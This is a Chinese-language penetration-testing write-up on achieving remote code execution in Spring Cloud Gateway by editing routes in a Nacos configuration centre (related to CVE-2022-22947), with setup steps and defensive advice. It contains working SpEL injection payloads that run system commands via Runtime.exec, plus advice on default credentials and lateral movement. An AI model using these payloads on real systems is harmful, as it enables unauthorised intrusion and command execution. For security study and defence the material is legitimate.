Nacos结合Spring Cloud Gateway RCE利用
字数 1541 2025-08-27 12:33:43
Nacos结合Spring Cloud Gateway RCE利用分析
1. 漏洞背景与前置知识
1.1 Spring Cloud Gateway简介
Spring Cloud Gateway是一个功能强大的微服务网关,主要功能包括:
- 请求拦截与路由转发
- 基于predicates(断言)的路由匹配
- 使用Filter进行请求/响应修改
- 支持动态路由配置
1.2 Nacos简介
Nacos是一个统一管理的配置注册中心,主要特性:
- 动态配置管理:应用通过绑定组和dataID来获取配置
- 服务发现与注册:微服务可注册到Nacos
- 配置自动同步:当Nacos配置更新时,应用会自动同步新配置
1.3 CVE-2022-22947漏洞回顾
漏洞本质:通过动态配置路由执行SpEL表达式注入
利用条件:
- 需要访问Actuator API(/actuator/gateway/routes)
- 需要开启以下配置:
management.endpoint.gateway.enabled: true management.endpoints.web.exposure.include: gateway
典型POC:
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com",
"order": 0
}
2. 环境搭建
2.1 Nacos环境搭建
- 下载Nacos Release版本:https://github.com/alibaba/nacos/releases/tag/2.1.0
- 解压后运行:
sh startup.sh -m standalone - 访问:
localhost:8848/nacos,默认账号密码:nacos/nacos
2.2 Spring Cloud Gateway项目配置
示例项目:https://github.com/B0rn2d/Spring-Cloud-Gateway-Nacos
关键配置项(bootstrap.yml):
spring:
cloud:
nacos:
config:
name: gateway
file-extension: yaml
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8848
discovery:
server-addr: 127.0.0.1:8848
2.3 服务注册与路由测试
- 创建service-provider服务(端口8070)
- 在Nacos配置路由规则:
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
3. 漏洞利用方法
3.1 信息收集
-
查找监听配置的应用:
- 在Nacos控制台查看"监听查询"功能
- 获取监听Spring Cloud Gateway配置的服务器IP
-
定位服务端口:
- 检查"服务管理"中的服务详情
- 对比监听IP与服务注册IP,确定具体端口
3.2 通过Nacos动态配置实现RCE
修改Nacos中的Gateway配置,添加恶意路由:
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
关键注意事项:
- 必须替换SpEL表达式中的换行符(\n和\r)
- YAML中SpEL表达式必须用双引号包裹,内部使用单引号
- 修改后无需重启服务,配置会自动同步
3.3 验证利用
访问配置的路由路径(如/echo/123),查看响应头中的result字段,确认命令执行结果。
4. 利用限制与绕过
-
Actuator未开启时的利用:
- 传统方法需要开启Actuator端点
- 通过Nacos修改配置无需Actuator
-
配置修改限制:
- 直接开启Actuator需要重启应用,不可行
- 动态路由配置无需重启
-
命令回显处理:
- 必须处理命令输出中的特殊字符
- 使用
.replaceAll('\n','').replaceAll('\r','')清理输出
5. 防御建议
-
Nacos安全配置:
- 修改默认密码
- 启用认证机制
- 限制配置修改权限
-
Spring Cloud Gateway安全配置:
- 禁用Actuator端点或限制访问
- 及时更新补丁
- 限制动态路由配置权限
-
网络层面:
- 限制Nacos管理界面访问
- 对微服务间通信实施网络隔离
6. 扩展思考
这种通过配置中心动态修改配置的利用方式可应用于:
- 需要修改配置文件才能触发的漏洞
- 依赖动态配置的中间件漏洞
- 微服务架构中的横向移动
在渗透测试中,发现Nacos时应:
- 检查是否存在弱口令或未授权访问
- 分析配置内容寻找敏感信息
- 查找监听配置的应用进行内网探测
- 尝试通过修改配置实现漏洞利用